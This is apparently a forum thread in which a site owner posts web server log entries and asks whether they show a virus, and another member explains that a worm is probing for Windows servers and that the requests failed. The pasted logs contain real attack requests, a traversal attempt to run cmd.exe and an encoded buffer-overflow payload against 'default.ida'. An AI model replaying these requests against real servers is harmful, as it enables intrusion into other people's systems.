s there a virus on my log files?

[sajchat]

Hi there!

Just been checking the "latest visitors" on my ADmin control panel...

looking thru the logs i found the following things:

Host: 66.126.130.218 Url: /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" Http Code : -
Date: Dec 06 00:05:28 Http Version: 404 Size in Bytes: "-"
Referer: -


Host: 203.241.195.134 Url: /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u90 90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u 7801%u9090%u6858%ucbd3%u7801%u9090%u9090 %u8190%u00c3%u0003%u8b00%u531b%u53ff%u00 78%u0000%u00=a Http Code : HTTP/1.0"
Date: Dec 06 06:14:13 Http Version:


Host: 66.126.130.218 Url: /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" Http Code : -
Date: Dec 06 00:05:28 Http Version: 404 Size in Bytes: "-"
Referer: -



Can someone please explain to me what these jibberish command mean? is it a virus or something? and also where is the Scripts directory!

help!

regards
saj

[jkeller]

Yes, it's a virus -- but on someone else's machine. It's probing machines looking for a place to go. The "scripts" directory doesn't exist, it's simply looking to see if you have one. You don't, so there's a 404 code (nonexistant) in the log entry.

Nothing to worry about; the one you see affects only Windows-based machines, and Jaguar servers with people like us on them are all Linux-based.